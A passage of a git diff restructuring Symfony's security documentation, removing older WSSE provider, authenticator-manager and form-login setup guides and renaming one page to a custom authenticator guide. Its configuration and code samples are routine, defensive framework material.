-        }
-    }
-
-Now, in the ``create()`` method of the factory, the ``$config`` argument will
-contain a ``lifetime`` key, set to 5 minutes (300 seconds) unless otherwise
-set in the configuration. Pass this argument to your authentication provider
-in order to put it to use::
-
-    // src/DependencyInjection/Security/Factory/WsseFactory.php
-    namespace App\DependencyInjection\Security\Factory;
-
-    use App\Security\Authentication\Provider\WsseProvider;
-
-    class WsseFactory implements SecurityFactoryInterface
-    {
-        public function create(ContainerBuilder $container, string $id, array $config, string $userProvider, ?string $defaultEntryPoint): array
-        {
-            $providerId = 'security.authentication.provider.wsse.'.$id;
-            $container
-                ->setDefinition($providerId, new ChildDefinition(WsseProvider::class))
-                ->setArgument(0, new Reference($userProvider))
-                ->setArgument(2, $config['lifetime']);
-            // ...
-        }
-
-        // ...
-    }
-
-.. note::
-
-    The ``WsseProvider`` class will also now need to accept a third constructor argument -
-    the lifetime - which it should use instead of the hard-coded 300 seconds. This
-    step is not shown here.
-
-The lifetime of each WSSE request is now configurable, and can be
-set to any desirable value per firewall.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                wsse_secured:
-                    pattern:   ^/api/
-                    stateless: true
-                    wsse:      { lifetime: 30 }
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <firewall name="wsse_secured" pattern="^/api/" stateless="true">
-                    <wsse lifetime="30"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ....
-
-            $security->firewall('wsse_secured')
-                ->pattern('^/api/')
-                ->stateless(true)
-                ->wsse()
-                    ->lifetime(30)
-            ;
-        };
-
-The rest is up to you! Any relevant configuration items can be defined
-in the factory and consumed or passed to the other classes in the container.
-
-
-.. _`WSSE`: https://www.xml.com/pub/a/2003/12/17/dive.html
-.. _`nonce`: https://en.wikipedia.org/wiki/Cryptographic_nonce
diff --git a/security/authenticator_manager.rst b/security/custom_authenticator.rst
similarity index 55%
rename from security/authenticator_manager.rst
rename to security/custom_authenticator.rst
index 58b1a2baf5d..1537d76f395 100644
--- a/security/authenticator_manager.rst
+++ b/security/custom_authenticator.rst
@@ -1,286 +1,11 @@
-Using the new Authenticator-based Security
-==========================================
+How to Write a Custom Authenticator
+===================================
 
-.. versionadded:: 5.1
-
-    Authenticator-based security was introduced in Symfony 5.1.
-
-In Symfony 5.1, a new authentication system was introduced. This system
-changes the internals of Symfony Security, to make it more extensible
-and more understandable.
-
-.. _security-enable-authenticator-manager:
-
-Enabling the System
--------------------
-
-The authenticator-based system can be enabled using the
-``enable_authenticator_manager`` setting:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            enable_authenticator_manager: true
-            # ...
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config enable-authenticator-manager="true">
-                <!-- ... -->
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $security->enableAuthenticatorManager(true);
-            // ....
-        };
-
-The new system is backwards compatible with the current authentication
-system, with some exceptions that will be explained in this article:
-
-* :ref:`Anonymous users no longer exist <authenticators-removed-anonymous>`
-* :ref:`Configuring the authentication entry point is required when more than one authenticator is used <authenticators-required-entry-point>`
-* :ref:`The authentication providers are refactored into Authenticators <authenticators-removed-authentication-providers>`
-
-.. _authenticators-removed-anonymous:
-
-Adding Support for Unsecured Access (i.e. Anonymous Users)
-----------------------------------------------------------
-
-In Symfony, visitors that haven't yet logged in to your website were called
-:ref:`anonymous users <firewalls-authentication>`. The new system no longer
-has anonymous authentication. Instead, these sessions are now treated as
-unauthenticated (i.e. there is no security token). When using
-``isGranted()``, the result will always be ``false`` (i.e. denied) as this
-session is handled as a user without any privileges.
-
-In the ``access_control`` configuration, you can use the new
-``PUBLIC_ACCESS`` security attribute to whitelist some routes for
-unauthenticated access (e.g. the login page):
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            enable_authenticator_manager: true
-
-            # ...
-            access_control:
-                # allow unauthenticated users to access the login form
-                - { path: ^/admin/login, roles: PUBLIC_ACCESS }
-
-                # but require authentication for all other admin routes
-                - { path: ^/admin, roles: ROLE_ADMIN }
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config enable-authenticator-manager="true">
-                <!-- ... -->
-
-                <access-control>
-                    <!-- allow unauthenticated users to access the login form -->
-                    <rule path="^/admin/login" role="PUBLIC_ACCESS"/>
-
-                    <!-- but require authentication for all other admin routes -->
-                    <rule path="^/admin" role="ROLE_ADMIN"/>
-                </access-control>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Component\Security\Core\Authorization\Voter\AuthenticatedVoter;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $security->enableAuthenticatorManager(true);
-            // ....
-
-            // allow unauthenticated users to access the login form
-            $security->accessControl()
-                ->path('^/admin/login')
-                ->roles([AuthenticatedVoter::PUBLIC_ACCESS])
-            ;
-
-            // but require authentication for all other admin routes
-            $security->accessControl()
-                ->path('^/admin')
-                ->roles(['ROLE_ADMIN'])
-            ;
-        };
-
-Granting Anonymous Users Access in a Custom Voter
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-.. versionadded:: 5.2
-
-    The ``NullToken`` class was introduced in Symfony 5.2.
-
-If you're using a :doc:`custom voter </security/voters>`, you can allow
-anonymous users access by checking for a special
-:class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\NullToken`. This token is used
-in the voters to represent the unauthenticated access::
-
-    // src/Security/PostVoter.php
-    namespace App\Security;
-
-    // ...
-    use Symfony\Component\Security\Core\Authentication\Token\NullToken;
-    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
-    use Symfony\Component\Security\Core\Authorization\Voter\Voter;
-
-    class PostVoter extends Voter
-    {
-        // ...
-
-        protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token): bool
-        {
-            // ...
-
-            if ($token instanceof NullToken) {
-                // the user is not authenticated, e.g. only allow them to
-                // see public posts
-                return $subject->isPublic();
-            }
-        }
-    }
-
-.. _authenticators-required-entry-point:
-
-Configuring the Authentication Entry Point
-------------------------------------------
-
-Sometimes, one firewall has multiple ways to authenticate (e.g. both a form
-login and an API token authentication). In these cases, it is now required
-to configure the *authentication entry point*. The entry point is used to
-generate a response when the user is not yet authenticated but tries to access
-a page that requires authentication. This can be used for instance to redirect
-the user to the login page.
-
-You can configure this using the ``entry_point`` setting:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            enable_authenticator_manager: true
-
-            # ...
-            firewalls:
-                main:
-                    # allow authentication using a form or HTTP basic
-                    form_login: ~
-                    http_basic: ~
-
-                    # configure the form authentication as the entry point for unauthenticated users
-                    entry_point: form_login
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config enable-authenticator-manager="true">
-                <!-- ... -->
-
-                <!-- entry-point: configure the form authentication as the entry
-                                  point for unauthenticated users -->
-                <firewall name="main"
-                    entry-point="form_login"
-                >
-                    <!-- allow authentication using a form or HTTP basic -->
-                    <form-login/>
-                    <http-basic/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $security->enableAuthenticatorManager(true);
-            // ....
-
-
-            // allow authentication using a form or HTTP basic
-            $mainFirewall = $security->firewall('main');
-            $mainFirewall->formLogin();
-            $mainFirewall->httpBasic();
-
-            // configure the form authentication as the entry point for unauthenticated users
-            $mainFirewall
-                ->entryPoint('form_login');
-        };
-
-.. note::
-
-    You can also create your own authentication entry point by creating a
-    class that implements
-    :class:`Symfony\\Component\\Security\\Http\\EntryPoint\\AuthenticationEntryPointInterface`.
-    You can then set ``entry_point`` to the service id (e.g.
-    ``entry_point: App\Security\CustomEntryPoint``)
-
-.. _authenticators-removed-authentication-providers:
-
-Creating a Custom Authenticator
--------------------------------
-
-Security traditionally could be extended by writing
-:doc:`custom authentication providers </security/custom_authentication_provider>`.
-The authenticator-based system dropped support for these providers and
-introduced a new authenticator interface as a base for custom
-authentication methods.
-
-.. tip::
-
-    :doc:`Guard authenticators </security/guard_authentication>` are still
-    supported in the authenticator-based system. It is however recommended
-    to also update these when you're refactoring your application to the
-    new system. The new authenticator interface has many similarities with the
-    guard authenticator interface, making the rewrite easier.
+Symfony comes with :ref:`many autenticators <security-authenticators>` and
+third party bundles also implement more complex cases like JWT and oAuth
+2.0. However, sometimes you need to implement a custom authentication
+mechanism that doesn't exists yet or you need to customize one. In such
+cases, you must create and use your own authenticator.
 
 Authenticators should implement the
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AuthenticatorInterface`.
@@ -425,8 +150,10 @@ into a security
     :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractLoginFormAuthenticator`
     class instead.
 
+.. _security-passport:
+
 Security Passports
-~~~~~~~~~~~~~~~~~~
+------------------
 
 .. versionadded:: 5.2
 
@@ -518,7 +245,7 @@ The following credential classes are supported by default:
 
 
 Self Validating Passport
-........................
+~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you don't need any credentials to be checked (e.g. when using API
 tokens), you can use the
@@ -527,7 +254,7 @@ This class only requires a ``UserBadge`` object and optionally `Passport
 Badges`_.
 
 Passport Badges
-~~~~~~~~~~~~~~~
+---------------
 
 The ``Passport`` also optionally allows you to add *security badges*.
 Badges attach more data to the passport (to extend security). By default,
@@ -542,7 +269,7 @@ the following badges are supported:
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\PasswordUpgradeBadge`
     This is used to automatically upgrade the password to a new hash upon
     successful login. This badge requires the plaintext password and a
-    password upgrader (e.g. the user repository). See :doc:`/security/password_migration`.
+    password upgrader (e.g. the user repository). See :ref:`security-password-migration`.
 
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\CsrfTokenBadge`
     Automatically validates CSRF tokens for this authenticator during
diff --git a/security/expressions.rst b/security/expressions.rst
index 257aa7b6217..c1bc9717a70 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -73,10 +73,10 @@ Additionally, you have access to a number of functions inside the expression:
 ``is_fully_authenticated()``
     Equal to checking if the user has the ``IS_AUTHENTICATED_FULLY`` role.
 ``is_granted()``
-    Checks if the user has the given permission. Optionally accepts a second argument
-    with the object where permission is checked on. It's equivalent to using
-    the :doc:`isGranted() method </security/securing_services>` from the authorization
-    checker service.
+    Checks if the user has the given permission. Optionally accepts a
+    second argument with the object where permission is checked on. It's
+    equivalent to using the :ref:`isGranted() method <security-isgranted>`
+    from the security service.
 
 .. sidebar:: ``is_remember_me()`` is different than checking ``IS_AUTHENTICATED_REMEMBERED``
 
diff --git a/security/form_login.rst b/security/form_login.rst
index c8f2cc7c1ff..03e7dffe49c 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -4,397 +4,7 @@
 Using the form_login Authentication Provider
 ============================================
 
-.. caution::
-
-    To have complete control over your login form, we recommend building a
-    :doc:`form login authentication with Guard </security/form_login_setup>`.
-
-Symfony comes with a built-in ``form_login`` system that handles a login form
-POST automatically. Before you start, make sure you've followed the
-:doc:`Security Guide </security>` to create your User class.
-
-form_login Setup
-----------------
-
-First, enable ``form_login`` under your firewall:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    anonymous: true
-                    lazy: true
-                    form_login:
-                        login_path: login
-                        check_path: login
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <firewall name="main" anonymous="true" lazy="true">
-                    <form-login login-path="login" check-path="login"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $mainFirewall = $security->firewall('main');
-            $mainFirewall->lazy(true);
-            $mainFirewall->anonymous();
-            $mainFirewall->formLogin()
-                ->loginPath('login')
-                ->checkPath('login')
-            ;
-        };
-
-.. tip::
-
-    The ``login_path`` and ``check_path`` can also be route names (but cannot
-    have mandatory wildcards - e.g. ``/login/{foo}`` where ``foo`` has no
-    default value).
-
-Now, when the security system initiates the authentication process, it will
-redirect the user to the login form ``/login``. Implementing this login form
-is your job. First, create a new ``SecurityController``::
-
-    // src/Controller/SecurityController.php
-    namespace App\Controller;
-
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-
-    class SecurityController extends AbstractController
-    {
-    }
-
-Next, configure the route that you earlier used under your ``form_login``
-configuration (``login``):
-
-.. configuration-block::
-
-    .. code-block:: php-annotations
-
-        // src/Controller/SecurityController.php
-        namespace App\Controller;
-
-        // ...
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class SecurityController extends AbstractController
-        {
-            /**
-             * @Route("/login", name="login", methods={"GET", "POST"})
-             */
-            public function login(): Response
-            {
-            }
-        }
-
-    .. code-block:: yaml
-
-        # config/routes.yaml
-        login:
-            path:       /login
-            controller: App\Controller\SecurityController::login
-            methods: GET|POST
-
-    .. code-block:: xml
-
-        <!-- config/routes.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <routes xmlns="http://symfony.com/schema/routing"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/routing
-                https://symfony.com/schema/routing/routing-1.0.xsd">
-
-            <route id="login" path="/login" controller="App\Controller\SecurityController::login" methods="GET|POST"/>
-        </routes>
-
-    ..  code-block:: php
-
-        // config/routes.php
-        use App\Controller\SecurityController;
-        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
-
-        return function (RoutingConfigurator $routes) {
-            $routes->add('login', '/login')
-                ->controller([SecurityController::class, 'login'])
-                ->methods(['GET', 'POST'])
-            ;
-        };
-
-Great! Next, add the logic to ``login()`` that displays the login form::
-
-    // src/Controller/SecurityController.php
-    use Symfony\Component\Security\Http\Authentication\AuthenticationUtils;
-
-    public function login(AuthenticationUtils $authenticationUtils): Response
-    {
-        // get the login error if there is one
-        $error = $authenticationUtils->getLastAuthenticationError();
-
-        // last username entered by the user
-        $lastUsername = $authenticationUtils->getLastUsername();
-
-        return $this->render('security/login.html.twig', [
-            'last_username' => $lastUsername,
-            'error'         => $error,
-        ]);
-    }
-
-.. note::
-
-    If you get an error that the ``$authenticationUtils`` argument is missing,
-    it's probably because the controllers of your application are not defined as
-    services and tagged with the ``controller.service_arguments`` tag, as done
-    in the :ref:`default services.yaml configuration <service-container-services-load-example>`.
-
-Don't let this controller confuse you. As you'll see in a moment, when the
-user submits the form, the security system automatically handles the form
-submission for you. If the user submits an invalid username or password,
-this controller reads the form submission error from the security system,
-so that it can be displayed back to the user.
-
-In other words, your job is to *display* the login form and any login errors
-that may have occurred, but the security system itself takes care of checking
-the submitted username and password and authenticating the user.
-
-Finally, create the template:
-
-.. code-block:: html+twig
-
-    {# templates/security/login.html.twig #}
-    {# ... you will probably extend your base template, like base.html.twig #}
-
-    {% if error %}
-        <div>{{ error.messageKey|trans(error.messageData, 'security') }}</div>
-    {% endif %}
-
-    <form action="{{ path('login') }}" method="post">
-        <label for="username">Username:</label>
-        <input type="text" id="username" name="_username" value="{{ last_username }}"/>
-
-        <label for="password">Password:</label>
-        <input type="password" id="password" name="_password"/>
-
-        {#
-            If you want to control the URL the user
-            is redirected to on success (more details below)
-            <input type="hidden" name="_target_path" value="/account"/>
-        #}
-
-        <button type="submit">login</button>
-    </form>
-
-.. tip::
-
-    The ``error`` variable passed into the template is an instance of
-    :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`.
-    It may contain more information - or even sensitive information - about
-    the authentication failure, so use it wisely!
-
-The form can look like anything, but it usually follows some conventions:
-
-* The ``<form>`` element sends a ``POST`` request to the ``login`` route, since
-  that's what you configured under the ``form_login`` key in ``security.yaml``;
-* The username field has the name ``_username`` and the password field has the
-  name ``_password``.
-
-.. tip::
-
-    Actually, all of this can be configured under the ``form_login`` key. See
-    :ref:`reference-security-firewall-form-login` for more details.
-
-.. caution::
-
-    This login form is currently not protected against CSRF attacks. Read
-    :ref:`form_login-csrf` on how to protect your login form.
-
-And that's it! When you submit the form, the security system will automatically
-check the user's credentials and either authenticate the user or send the
-user back to the login form where the error can be displayed.
-
-To review the whole process:
-
-#. The user tries to access a resource that is protected;
-#. The firewall initiates the authentication process by redirecting the
-   user to the login form (``/login``);
-#. The ``/login`` page renders login form via the route and controller created
-   in this example;
-#. The user submits the login form to ``/login``;
-#. The security system intercepts the request, checks the user's submitted
-   credentials, authenticates the user if they are correct, and sends the
-   user back to the login form if they are not.
-
-.. _form_login-csrf:
-
-CSRF Protection in Login Forms
-------------------------------
-
-`Login CSRF attacks`_ can be prevented using the same technique of adding hidden
-CSRF tokens into the login forms. The Security component already provides CSRF
-protection, but you need to configure some options before using it.
-
-First, configure the CSRF token provider used by the form login in your security
-configuration. You can set this to use the default provider available in the
-security component:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                secured_area:
-                    # ...
-                    form_login:
-                        # ...
-                        csrf_token_generator: security.csrf.token_manager
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <firewall name="secured_area">
-                    <!-- ... -->
-                    <form-login csrf-token-generator="security.csrf.token_manager"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-
-            $security->firewall('secured_area')
-                ->formLogin()
-                    // ...
-                    ->csrfTokenGenerator('security.csrf.token_manager')
-            ;
-        };
-
-.. _csrf-login-template:
-
-Then, use the ``csrf_token()`` function in the Twig template to generate a CSRF
-token and store it as a hidden field of the form. By default, the HTML field
-must be called ``_csrf_token`` and the string used to generate the value must
-be ``authenticate``:
-
-.. code-block:: html+twig
-
-    {# templates/security/login.html.twig #}
-
-    {# ... #}
-    <form action="{{ path('login') }}" method="post">
-        {# ... the login fields #}
-
-        <input type="hidden" name="_csrf_token"
-            value="{{ csrf_token('authenticate') }}"
-        >
-
-        <button type="submit">login</button>
-    </form>
-
-After this, you have protected your login form against CSRF attacks.
-
-.. tip::
-
-    You can change the name of the field by setting ``csrf_parameter`` and change
-    the token ID by setting  ``csrf_token_id`` in your configuration:
-
-    .. configuration-block::
-
-        .. code-block:: yaml
-
-            # config/packages/security.yaml
-            security:
-                # ...
-
-                firewalls:
-                    secured_area:
-                        # ...
-                        form_login:
-                            # ...
-                            csrf_parameter: _csrf_security_token
-                            csrf_token_id: a_private_string
-
-        .. code-block:: xml
-
-            <!-- config/packages/security.xml -->
-            <?xml version="1.0" encoding="UTF-8" ?>
-            <srv:container xmlns="http://symfony.com/schema/dic/security"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xmlns:srv="http://symfony.com/schema/dic/services"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd
-                    http://symfony.com/schema/dic/security
-                    https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-                <config>
-                    <!-- ... -->
-
-                    <firewall name="secured_area">
-                        <!-- ... -->
-                        <form-login csrf-parameter="_csrf_security_token"
-                            csrf-token-id="a_private_string"
-                        />
-                    </firewall>
-                </config>
-            </srv:container>
-
-        .. code-block:: php
-
-            // config/packages/security.php
-            use Symfony\Config\SecurityConfig;
-
-            return static function (SecurityConfig $security) {
-                // ...
-
-                $security->firewall('secured_area')
-                    ->formLogin()
-                        // ...
-                        ->csrfParameter('_csrf_security_token')
-                        ->csrfTokenId('a_private_string')
-                ;
-            };
+.. TODO
 
 Redirecting after Success
 -------------------------
@@ -775,5 +385,3 @@ are now fully customized:
         <input type="hidden" name="back_to" value="{{ path('forgot_password') }}"/>
         <input type="submit" name="login"/>
     </form>
-
-.. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
deleted file mode 100644
index 1cc640d01bd..00000000000
--- a/security/form_login_setup.rst
+++ /dev/null
@@ -1,512 +0,0 @@
-How to Build a Login Form
-=========================
-
-.. seealso::
-
-    If you're looking for the ``form_login`` firewall option, see
-    :doc:`/security/form_login`.
-
-Ready to create a login form? First, make sure you've followed the main
-:doc:`Security Guide </security>` to install security and create your ``User``
-class.
-
-Generating the Login Form
--------------------------
-
-Creating a powerful login form can be bootstrapped with the ``make:auth`` command from
-`MakerBundle`_. Depending on your setup, you may be asked different questions
-and your generated code may be slightly different:
-
-.. code-block:: terminal
-
-    $ php bin/console make:auth
-
-    What style of authentication do you want? [Empty authenticator]:
-     [0] Empty authenticator
-     [1] Login form authenticator
-    > 1
-
-    The class name of the authenticator to create (e.g. AppCustomAuthenticator):
-    > LoginFormAuthenticator
-
-    Choose a name for the controller class (e.g. SecurityController) [SecurityController]:
-    > SecurityController
-
-    Do you want to generate a '/logout' URL? (yes/no) [yes]:
-    > yes
-
-     created: src/Security/LoginFormAuthenticator.php
-     updated: config/packages/security.yaml
-     created: src/Controller/SecurityController.php
-     created: templates/security/login.html.twig
-
-.. versionadded:: 1.8
-
-    Support for login form authentication was added to ``make:auth`` in MakerBundle 1.8.
-
-This generates the following: 1) login/logout routes & controller, 2) a template that
-renders the login form, 3) a :doc:`Guard authenticator </security/guard_authentication>`
-class that processes the login submit and 4) updates the main security config file.
-
-**Step 1.** The ``/login``/``/logout`` routes & controller::
-
-    // src/Controller/SecurityController.php
-    namespace App\Controller;
-
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
-    use Symfony\Component\Security\Http\Authentication\AuthenticationUtils;
-
-    class SecurityController extends AbstractController
-    {
-        /**
-         * @Route("/login", name="app_login")
-         */
-        public function login(AuthenticationUtils $authenticationUtils): Response
-        {
-            // if ($this->getUser()) {
-            //     return $this->redirectToRoute('target_path');
-            // }
-
-            // get the login error if there is one
-            $error = $authenticationUtils->getLastAuthenticationError();
-            // last username entered by the user
-            $lastUsername = $authenticationUtils->getLastUsername();
-
-            return $this->render('security/login.html.twig', ['last_username' => $lastUsername, 'error' => $error]);
-        }
-
-        /**
-         * @Route("/logout", name="app_logout")
-         */
-        public function logout(): void
-        {
-            throw new \LogicException('This method can be blank - it will be intercepted by the logout key on your firewall.');
-        }
-    }
-
-Edit the ``security.yaml`` file in order to declare the ``/logout`` path:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    # ...
-                    logout:
-                        path: app_logout
-                        # where to redirect after logout
-                        # target: app_any_route
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-                <firewall name="main">
-                    <!-- ... -->
-                    <logout path="app_logout"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-
-            $security->firewall('main')
-                // ...
-                ->logout()
-                    ->path('app_logout')
-                    // where to redirect after logout
-                    ->target('app_any_route')
-            ;
-        };
-
-**Step 2.** The template has very little to do with security: it generates
-a traditional HTML form that submits to ``/login``:
-
-.. code-block:: html+twig
-
-    {% extends 'base.html.twig' %}
-
-    {% block title %}Log in!{% endblock %}
-
-    {% block body %}
-    <form method="post">
-        {% if error %}
-            <div class="alert alert-danger">{{ error.messageKey|trans(error.messageData, 'security') }}</div>
-        {% endif %}
-
-        {% if app.user %}
-            <div class="mb-3">
-                You are logged in as {{ app.user.username }}, <a href="{{ path('app_logout') }}">Logout</a>
-            </div>
-        {% endif %}
-
-        <h1 class="h3 mb-3 font-weight-normal">Please sign in</h1>
-        <label for="inputEmail">Email</label>
-        <input type="email" value="{{ last_username }}" name="email" id="inputEmail" class="form-control" required autofocus>
-        <label for="inputPassword">Password</label>
-        <input type="password" name="password" id="inputPassword" class="form-control" required>
-
-        <input type="hidden" name="_csrf_token"
-               value="{{ csrf_token('authenticate') }}"
-        >
-
-        {#
-            Uncomment this section and add a remember_me option below your firewall to activate remember me functionality.
-            See https://symfony.com/doc/current/security/remember_me.html
-
-            <div class="checkbox mb-3">
-                <label>
-                    <input type="checkbox" name="_remember_me"> Remember me
-                </label>
-            </div>
-        #}
-
-        <button class="btn btn-lg btn-primary" type="submit">
-            Sign in
-        </button>
-    </form>
-    {% endblock %}
-
-**Step 3.** The Guard authenticator processes the form submit::
-
-    // src/Security/LoginFormAuthenticator.php
-    namespace App\Security;
-
-    use App\Entity\User;
-    use Doctrine\ORM\EntityManagerInterface;
-    use Symfony\Component\HttpFoundation\RedirectResponse;
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
-    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
-    use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
-    use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException;
-    use Symfony\Component\Security\Core\Exception\InvalidCsrfTokenException;
-    use Symfony\Component\Security\Core\Security;
-    use Symfony\Component\Security\Core\User\UserInterface;
-    use Symfony\Component\Security\Core\User\UserProviderInterface;
-    use Symfony\Component\Security\Csrf\CsrfToken;
-    use Symfony\Component\Security\Csrf\CsrfTokenManagerInterface;
-    use Symfony\Component\Security\Guard\Authenticator\AbstractFormLoginAuthenticator;
-    use Symfony\Component\Security\Guard\PasswordAuthenticatedInterface;
-    use Symfony\Component\Security\Http\Util\TargetPathTrait;
-
-    class LoginFormAuthenticator extends AbstractFormLoginAuthenticator implements PasswordAuthenticatedInterface
-    {
-        use TargetPathTrait;
-
-        public const LOGIN_ROUTE = 'app_login';
-
-        private $entityManager;
-        private $urlGenerator;
-        private $csrfTokenManager;
-        private $passwordEncoder;
-
